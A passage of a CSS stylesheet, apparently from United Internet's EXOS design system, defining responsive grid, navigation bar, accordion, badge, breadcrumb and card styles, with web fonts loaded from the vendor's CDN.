@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid-col--medium-align-center {
justify-content:center;
text-align: center
}
.grid-col--medium-align-left {
justify-content: flex-start;
text-align: left
}
.grid-col--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.grid-col--small-align-center {
justify-content:center;
text-align: center
}
.grid-col--small-align-left {
justify-content: flex-start;
text-align: left
}
.grid-col--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.grid-col--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.grid-col--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid-col--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.grid-col--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.grid-col--vertical-align-bottom {
align-self: flex-end
}
.grid-col--vertical-align-center {
align-self: center
}
.grid-col--vertical-align-middle {
vertical-align: middle
}
.grid-col--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.grid-col--large-vertical-align-bottom {
align-self:flex-end
}
.grid-col--large-vertical-align-center {
align-self: center
}
.grid-col--large-vertical-align-middle {
vertical-align: middle
}
.grid-col--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid-col--medium-vertical-align-bottom {
align-self:flex-end
}
.grid-col--medium-vertical-align-center {
align-self: center
}
.grid-col--medium-vertical-align-middle {
vertical-align: middle
}
.grid-col--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.grid-col--small-vertical-align-bottom {
align-self:flex-end
}
.grid-col--small-vertical-align-center {
align-self: center
}
.grid-col--small-vertical-align-middle {
vertical-align: middle
}
.grid-col--small-vertical-align-top {
align-self: flex-start
}
}
.grid--full-height .grid-col {
display: flex;
flex-flow: column nowrap
}
@media only screen and (min-width: 889px) {
.grid--full-height .grid-col--large-hidden {
box-sizing:border-box;
display: none;
width: 0
}
}
@media only screen and (min-width: 667px) and (max-width:888px) {
.grid--full-height .grid-col--medium-hidden {
box-sizing:border-box;
display: none;
width: 0
}
}
@media only screen and (max-width: 666px) {
.grid--full-height .grid-col--small-hidden {
box-sizing:border-box;
display: none;
width: 0
}
.grid--small-condensed .grid-col {
padding-left: 8px;
padding-right: 8px
}
.grid--small-condensed .grid-col--small-spacing-left {
padding-left: 8px;
padding-right: 0
}
.grid--small-condensed .grid-col--small-spacing-right {
padding-left: 0;
padding-right: 8px
}
.grid--small-condensed .grid-col--small-spacing-none {
padding-left: 0;
padding-right: 0
}
.headless-mode .grid--headless-hidden,.headless-mode .grid-col--headless-hidden {
display: none
}
}
.grid--full-height .grid-col .ias-zone,.grid--full-height .grid-col .ias-zone>div[data-medium-id] {
display: flex;
flex-grow: 1
}
body.oao-navi-actor-bar-visible .grid-col--article-sticky-sidebar {
top: 93px
}
@font-face {
font-family: OpenSansRegular;
src: url(https://ce1.uicdn.net/exos/fonts/open-sans/opensans-regular.woff) format("woff"),url(https://ce1.uicdn.net/exos/fonts/open-sans/opensans-regular.woff2) format("woff2")
}
@font-face {
font-family: OpenSansSemibold;
src: url(https://ce1.uicdn.net/exos/fonts/open-sans/opensans-semibold.woff) format("woff"),url(https://ce1.uicdn.net/exos/fonts/open-sans/opensans-semibold.woff2) format("woff2")
}
@font-face {
font-family: OverpassRegular;
src: url(https://ce1.uicdn.net/exos/fonts/overpass/overpass-regular.woff) format("woff"),url(https://ce1.uicdn.net/exos/fonts/overpass/overpass-regular.woff2) format("woff2")
}
@font-face {
font-family: OverpassSemibold;
src: url(https://ce1.uicdn.net/exos/fonts/overpass/overpass-semibold.woff) format("woff"),url(https://ce1.uicdn.net/exos/fonts/overpass/overpass-semibold.woff2) format("woff2")
}
body,html {
height: 100%;
margin: 0
}
html {
-webkit-tap-highlight-color: transparent
}
.page-container,body {
-webkit-text-size-adjust: 100%;
-moz-text-size-adjust: 100%;
text-size-adjust: 100%;
color: #001b41;
display: grid;
font-family: OpenSansRegular,arial,arial narrow,sans-serif;
font-size: 14px;
grid-template: "content" 1fr "footer" auto/minmax(auto,100%);
line-height: 1.429em;
overflow-x: hidden
}
.page-container {
height: 100%
}
strong {
font-family: OpenSansSemibold,arial,sans-serif;
font-weight: 400
}
.page-content {
background-color: var(--default-background-color,#f4f7fa);
grid-area: content
}
.__direct-selection {
cursor: pointer
}
.exos-icon--bright {
color: var(--white,#fff)
}
.exos-icon--activating {
color: var(--activating-text-color,#007e9c)
}
.exos-icon--success {
color: var(--success-text-color,#096b35)
}
.exos-icon--warning {
color: var(--warning-text-color,#c36b00)
}
.exos-icon--critical {
color: var(--critical-text-color,#c80a00)
}
.exos-icon--neutral {
color: var(--neutral-text-color,#465a75)
}
.exos-icon--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.exos-icon--promoting {
color: var(--promoting-text-color,#560e8a)
}
/*! Global Navigation - 5.8.1 (c) United Internet, 2023 */
@font-face {
font-family: exos-icon-font;
src: url(https://ce1.uicdn.net/exos/icons/exos-icon-font.woff?v=15) format("woff"),url(https://ce1.uicdn.net/exos/icons/exos-icon-font.woff2?v=15) format("woff2")
}
.oao-navi-icon,a.oao-navi-app-name .oao-navi-app-logo:before,span.oao-navi-burger:before {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
font-family: exos-icon-font;
font-style: normal;
font-variant: normal;
font-weight: 400;
line-height: 1;
text-transform: none
}
@font-face {
font-family: OpenSansRegularFallback;
src: local("Open Sans"),local("OpenSans"),url(https://ce1.uicdn.net/exos/fonts/open-sans/opensans-regular.woff) format("woff"),url(https://ce1.uicdn.net/exos/fonts/open-sans/opensans-regular.woff2) format("woff2")
}
@font-face {
font-family: OverpassBoldFallback;
src: url(https://ce1.uicdn.net/exos/fonts/overpass/overpass-bold.woff) format("woff"),url(https://ce1.uicdn.net/exos/fonts/overpass/overpass-bold.woff2) format("woff2")
}
div.oao-navi-navigation {
background-color: #003d8f;
border-bottom: 1px solid #002659;
box-shadow: 0 1px 1px -1px #3364a5
}
div.oao-navi-navigation.oao-navi-light {
background-color: #fff;
border-bottom: none;
box-shadow: 0 2px 8px rgba(113,128,149,.5)
}
.oao-navi-navigation {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
align-items: flex-start;
box-sizing: border-box;
color: #fff;
display: flex;
flex-flow: row wrap;
font-family: OpenSansRegular,Open Sans,OpenSansRegularFallback,Arial,sans-serif;
height: 64px;
justify-content: stretch;
left: 0;
min-width: 320px;
padding: 0;
position: fixed;
right: 0;
text-align: left;
top: 0;
z-index: 203
}
.oao-navi-navigation a,.oao-navi-navigation a:hover,.oao-navi-navigation a:visited {
text-decoration: none
}
body.oao-navi-actor-bar-visible .oao-navi-navigation {
height: 93px
}
.oao-navi-center,.oao-navi-left,.oao-navi-right {
flex: 0 0 auto;
float: left;
overflow: visible
}
.oao-navi-left * {
box-sizing: border-box
}
div.oao-navi-right {
padding-right: 16px;
visibility: hidden
}
.oao-navi-center,.oao-navi-top {
visibility: hidden
}
.oao-navi-top {
width: 100%
}
.oao-navi-top>ul {
max-height: 0
}
div.oao-navi-left {
flex: 1 0 0%;
padding-left: 16px;
width: auto
}
.oao-navi-navigation ol,.oao-navi-navigation ul {
list-style: none;
margin: 0;
padding: 0
}
.oao-navi-flyout-container {
position: relative
}
body {
margin-top: 64px
}
body.oao-navi-hidden,body.oao-navi-mobile-app {
margin-top: inherit
}
body.oao-navi-hidden .oao-navi-navigation,body.oao-navi-mobile-app .oao-navi-navigation {
display: none
}
@supports ((position: -webkit-sticky) or (position:sticky)) {
.oao-navi-navigation {
position:-webkit-sticky;
position: sticky
}
body {
margin-top: inherit
}
}
.oao-navi-application-name {
display: block;
font-size: 18px
}
.oao-navi-application_switch>a {
color: hsla(0,0%,100%,.7);
font-weight: 700
}
.oao-navi-application_switch>a,a.oao-navi-app-name {
display: block;
height: 64px;
line-height: 64px;
text-overflow: clip;
white-space: nowrap
}
a.oao-navi-app-name {
position: relative;
top: -2px
}
a.oao-navi-app-name,a.oao-navi-app-name:active,a.oao-navi-app-name:hover,a.oao-navi-app-name:visited {
color: #fff
}
a.oao-navi-app-name .oao-navi-app-logo:before {
color: #fff;
content: "";
font-size: 34px;
position: relative;
top: -2px;
vertical-align: middle
}
a.oao-navi-app-name span {
color: #fff;
display: inline-block;
float: none;
font-size: 21.5px;
font-weight: 700;
line-height: 64px;
overflow: hidden;
padding: 0 6px 0 11px;
text-overflow: ellipsis;
text-transform: uppercase;
vertical-align: middle;
white-space: nowrap
}
a.oao-navi-app-name span:first-child {
padding: 0 11px 0 6px
}
div.oao-navi-navigation.oao-navi-light .oao-navi-application_switch>a,div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name,div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name .oao-navi-app-logo:before,div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name span,div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name:active,div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name:hover,div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name:visited {
color: #003d8f
}
span.oao-navi-burger {
color: #fff;
cursor: pointer;
display: block;
float: left;
font-size: 20px;
height: 20px;
line-height: 20px;
margin: 22px 16px 22px 0;
width: 20px
}
span.oao-navi-burger:before {
content: ""
}
span.oao-navi-burger:active,span.oao-navi-burger:focus,span.oao-navi-burger:hover {
color: #fff
}
div.oao-navi-navigation.oao-navi-light span.oao-navi-burger {
color: #003d8f
}
[data-exos-theme=arsys] div.oao-navi-navigation,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light {
background-color: #353535;
border-bottom: none;
box-shadow: none
}
[data-exos-theme=arsys] div.oao-navi-navigation .oao-navi-application_switch>a,[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name,[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name .oao-navi-app-logo:before,[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name span,[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name:active,[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name:hover,[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name:visited,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light .oao-navi-application_switch>a,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name .oao-navi-app-logo:before,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name span,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name:active,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name:hover,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name:visited {
color: #fff
}
[data-exos-theme=arsys] div.oao-navi-navigation a.oao-navi-app-name .oao-navi-app-logo:before,[data-exos-theme=arsys] div.oao-navi-navigation.oao-navi-light a.oao-navi-app-name .oao-navi-app-logo:before {
content: ""
}
body.headless-mode {
margin-top: inherit
}
@supports ((position: -webkit-sticky) or (position:sticky)) {
.oao-navi-navigation.oao-navi-finished {
position:-webkit-sticky;
position: sticky
}
body {
margin-top: inherit
}
}
div.oao-navi-navigation {
background-color: var(--global-navigation-background-color,#003d8f);
border-bottom: 1px solid var(--global-navigation-border2,#0b2a63);
box-shadow: 0 1px 1px -1px var(--global-navigation-border1,#095bb1)
}
body:not(.oao-pi-no-transition) .page-header,body:not(.oao-pi-no-transition) .page-section,body:not(.oao-pi-no-transition) .page-tabbar {
transition: padding-left .2s ease-out,padding-right .2s ease-out;
will-change: padding
}
body.oao-pi-no-transition .left-navigation {
transition: none
}
@media only screen and (max-width: 1184px) {
.oao-pi-flyin.__left-navigation-active .oao-pi-overlay-container,.oao-pi-flyin.__left-navigation-active.oao-pi-animation .oao-pi-overlay-container {
right:-368px
}
}
.accordion {
border: 1px solid var(--tertiary-shape-color,#bcc8d4);
border-radius: calc(var(--default-border-radius, 16px) - 1px);
margin-bottom: 32px
}
.accordion--filled {
overflow: hidden
}
@media only screen and (max-width: 666px) {
.accordion {
border-radius:calc(var(--small-border-radius, 8px) - 1px);
margin-bottom: 16px
}
}
.accordion--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.accordion--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.accordion--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.accordion--small-hidden {
display:none
}
}
.accordion__item {
border-bottom: 1px solid var(--default-shadow-color,#718095);
display: block;
margin: 0;
padding: 0;
position: relative
}
.accordion__item:first-child {
border-top-left-radius: calc(var(--default-border-radius, 16px) - 1px);
border-top-right-radius: calc(var(--default-border-radius, 16px) - 1px)
}
.accordion__item:last-child {
border-bottom: 0;
border-bottom-left-radius: calc(var(--default-border-radius, 16px) - 1px);
border-bottom-right-radius: calc(var(--default-border-radius, 16px) - 1px);
overflow: hidden
}
@media only screen and (max-width: 666px) {
.accordion__item:first-child {
border-top-left-radius:calc(var(--small-border-radius, 8px) - 1px);
border-top-right-radius: calc(var(--small-border-radius, 8px) - 1px)
}
.accordion__item:last-child {
border-bottom-left-radius: calc(var(--small-border-radius, 8px) - 1px);
border-bottom-right-radius: calc(var(--small-border-radius, 8px) - 1px)
}
}
.accordion--filled-closed .accordion__item {
background: var(--white,#fff)
}
.accordion--filled .accordion__item--expanded,.accordion--filled .accordion__item:hover {
background: var(--white,#fff);
transition: background .2s ease-out,box-shadow .2s ease-out
}
.accordion--filled .accordion__item--expanded:last-child,.accordion--filled .accordion__item:last-child:hover {
box-shadow: var(--secondary-shadow,0 1px 0 0 #718095)
}
.accordion__item-header {
color: var(--primary-text-color,#02102b);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--fourth-level-headline-size,14px);
line-height: 1;
line-height: var(--fourth-level-headline-line-height,1.429em);
margin: 0 0 0 4px;
padding: 14px 30px 16px 12px;
position: relative
}
.accordion__item-header:after {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
line-height: 24px;
position: absolute;
right: 12px;
top: 12px;
vertical-align: top
}
.accordion__item-header:hover {
color: var(--interactive-text-color,#1474c4);
cursor: pointer
}
.accordion__item-header--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.accordion__item-header--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.accordion__item-header--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.accordion__item-header--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.accordion__item--expanded .accordion__item-header:after {
content: ""
}
.accordion__item-section {
display: none;
margin: 0 0 0 4px;
padding: 14px 30px 16px 26px
}
.accordion__item-section--secondary {
background-color: var(--default-background-color,#f4f7fa)
}
.accordion__item-section:last-child {
margin-bottom: 0
}
.accordion__item-section:only-of-type {
padding-top: 2px
}
.accordion__item-section .sheet {
margin-bottom: 8px
}
@media only screen and (max-width: 666px) {
.accordion__item-section {
padding-left:16px;
padding-right: 16px
}
.accordion__item-section .sheet:last-child {
margin-bottom: -16px;
margin-top: 0
}
}
.accordion__item--expanded .accordion__item-section {
display: inherit
}
.accordion__item.accordion__item--success {
box-shadow: inset 4px 0 0 0 var(--inactive-success-shape-color,#12cf76)
}
.accordion__item.accordion__item--success.accordion__item--expanded,.accordion__item.accordion__item--success.accordion__item--expanded:last-child,.accordion__item.accordion__item--success:hover,.accordion__item.accordion__item--success:hover:last-child {
box-shadow: inset 4px 0 0 0 var(--success-shape-color,#0fa954)
}
.accordion__item.accordion__item--warning {
box-shadow: inset 4px 0 0 0 var(--inactive-warning-shape-color,#ffd176)
}
.accordion__item.accordion__item--warning.accordion__item--expanded,.accordion__item.accordion__item--warning.accordion__item--expanded:last-child,.accordion__item.accordion__item--warning:hover,.accordion__item.accordion__item--warning:hover:last-child {
box-shadow: inset 4px 0 0 0 var(--warning-shape-color,#fa0)
}
.accordion__item.accordion__item--critical {
box-shadow: inset 4px 0 0 0 var(--inactive-critical-shape-color,#ffa8a3)
}
.accordion__item.accordion__item--critical.accordion__item--expanded,.accordion__item.accordion__item--critical.accordion__item--expanded:last-child,.accordion__item.accordion__item--critical:hover,.accordion__item.accordion__item--critical:hover:last-child {
box-shadow: inset 4px 0 0 0 var(--critical-shape-color,#f50c00)
}
.accordion__item.accordion__item--neutral {
box-shadow: inset 4px 0 0 0 var(--inactive-neutral-shape-color,#bcc8d4)
}
.accordion__item.accordion__item--neutral.accordion__item--expanded,.accordion__item.accordion__item--neutral.accordion__item--expanded:last-child,.accordion__item.accordion__item--neutral:hover,.accordion__item.accordion__item--neutral:hover:last-child {
box-shadow: inset 4px 0 0 0 var(--neutral-shape-color,#718095)
}
.accordion__item.accordion__item--activating {
box-shadow: inset 4px 0 0 0 var(--inactive-activating-shape-color,#7fe4f6)
}
.accordion__item.accordion__item--activating.accordion__item--expanded,.accordion__item.accordion__item--activating.accordion__item--expanded:last-child,.accordion__item.accordion__item--activating:hover,.accordion__item.accordion__item--activating:hover:last-child {
box-shadow: inset 4px 0 0 0 var(--activating-shape-color,#11c7e6)
}
.badge {
background-color: var(--solid-activating-background-color,#11c7e6);
border-radius: var(--small-border-radius,8px);
color: var(--corporate-text-color,#0b2a63);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--small-text-size,12px);
margin-right: 8px;
padding: 0 6px;
text-transform: uppercase;
z-index: 1
}
.badge--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.badge--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.badge--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.badge--small-hidden {
display:none
}
}
.badge--primary {
background-color: var(--primary-background-color,#fff)
}
.badge--secondary {
background-color: var(--secondary-background-color,#fff)
}
.badge--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.badge--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.badge--advertising>.headline,.badge--advertising>.paragraph {
color: var(--white,#fff)
}
.badge--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.badge--beta>.headline,.badge--beta>.paragraph {
color: var(--white,#fff)
}
.badge--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.badge--premium>.headline,.badge--premium>.paragraph {
color: var(--white,#fff)
}
.badge--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.badge--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.badge--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.badge--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.badge--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.badge--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.badge--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.badge--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.badge--right {
margin-left: 8px;
margin-right: 0
}
.badge--separated {
float: left;
line-height: 17px;
margin-top: 2px
}
.badge--positioned {
border-bottom-left-radius: 0;
border-top-left-radius: 0;
left: 0;
padding-left: 12px;
position: absolute;
top: 16px
}
.badge--beta {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.badge--premium {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.badge__separated-text,.breadcrumb {
display: flex
}
.breadcrumb {
align-items: center;
max-width: calc(50vw + 585px);
padding-bottom: 1.5em
}
.breadcrumb:only-child {
padding-bottom: 0
}
.breadcrumb--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.breadcrumb--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.breadcrumb--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.breadcrumb--small-hidden {
display:none
}
}
.breadcrumb__item {
display: inline-flex;
font-size: 16px;
height: 21px;
line-height: 21px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
.breadcrumb__item,.breadcrumb__item:before {
color: var(--corporate-text-color,#0b2a63);
text-decoration: none
}
.breadcrumb__item:before {
content: "";
font-family: exos-icon-font,sans-serif;
font-style: normal;
font-weight: 400;
padding: 0 5px
}
.breadcrumb__item--dark,.breadcrumb__item--dark:before {
color: var(--black,#000)
}
.breadcrumb__item:hover {
text-decoration: underline
}
.breadcrumb__item:hover:before {
height: 19px;
overflow: hidden;
text-decoration: none
}
.breadcrumb__item:first-child {
min-width: 16px;
text-indent: -100px;
text-overflow: clip
}
.breadcrumb__item:first-child:before {
content: "";
float: left;
min-width: 18px;
padding: 0;
text-indent: 0
}
.breadcrumb__item:only-child {
text-indent: 0
}
.breadcrumb__item:only-child:before {
float: none;
padding-right: 5px;
text-indent: 0
}
.breadcrumb__item:only-child .breadcrumb__item-content {
display: inline
}
@media only screen and (max-width: 1014px) {
.breadcrumb {
max-width:none;
width: auto
}
}
@media only screen and (max-width: 666px) {
.breadcrumb__item {
display:none
}
.breadcrumb__item:last-child {
display: inline-flex
}
.breadcrumb__item:last-child:before {
content: "";
padding-left: 0
}
.headless-mode .breadcrumb {
display: none
}
}
.oao-navi-mobile-app .breadcrumb {
display: none
}
.page-header--narrow .breadcrumb {
max-width: calc(50vw + 475px)
}
.page-header--short .breadcrumb {
max-width: calc(50vw + 325px)
}
.card {
background-color: var(--white,#fff);
border: var(--card-border,1px solid #bcc8d4);
border-radius: var(--default-border-radius,16px);
box-shadow: var(--card-shadow,0 1px 2px 0 #718095);
clear: both;
display: flex;
flex-flow: column nowrap;
flex-grow: 1;
margin-bottom: 32px;
position: relative;
transition: box-shadow .3s ease-out
}
.card--page-context {
background-color: transparent;
border: none;
border-radius: 0;
box-shadow: inherit
}
.card--advertising,.card--beta,.card--premium {
border: none
}
@media only screen and (max-width: 666px) {
.card {
border-radius:var(--small-border-radius,8px);
margin-bottom: 16px
}
}
.card--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.card--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.card--small-hidden {
display:none
}
}
.card--primary {
background-color: var(--primary-background-color,#fff)
}
.card--secondary {
background-color: var(--secondary-background-color,#fff)
}
.card--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.card--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.card--advertising>.headline,.card--advertising>.paragraph {
color: var(--white,#fff)
}
.card--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.card--beta>.headline,.card--beta>.paragraph {
color: var(--white,#fff)
}
.card--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.card--premium>.headline,.card--premium>.paragraph {
color: var(--white,#fff)
}
.card--activating,.card--corporate,.card--critical,.card--neutral,.card--promoting,.card--success,.card--warning {
background-color: #fff
}
.card--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.card--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.card--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.card--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.card--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.card--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.card--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.card--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.card--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.card--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-success:first-child {
border-radius:0
}
}
.card--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-success:last-child {
border-radius:0
}
}
.card--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-success:only-child {
border-radius:0
}
}
.card--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.card--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-warning:first-child {
border-radius:0
}
}
.card--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-warning:last-child {
border-radius:0
}
}
.card--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-warning:only-child {
border-radius:0
}
}
.card--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.card--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-critical:first-child {
border-radius:0
}
}
.card--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-critical:last-child {
border-radius:0
}
}
.card--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-critical:only-child {
border-radius:0
}
}
.card--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.card--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-neutral:first-child {
border-radius:0
}
}
.card--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-neutral:last-child {
border-radius:0
}
}
.card--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-neutral:only-child {
border-radius:0
}
}
.card--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.card--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-activating:first-child {
border-radius:0
}
}
.card--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-activating:last-child {
border-radius:0
}
}
.card--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-activating:only-child {
border-radius:0
}
}
.card--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.card--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-corporate:first-child {
border-radius:0
}
}
.card--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-corporate:last-child {
border-radius:0
}
}
.card--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-corporate:only-child {
border-radius:0
}
}
.card--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.card--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card--semantic-bar-promoting:first-child {
border-radius:0
}
}
.card--semantic-bar-promoting:last-child {
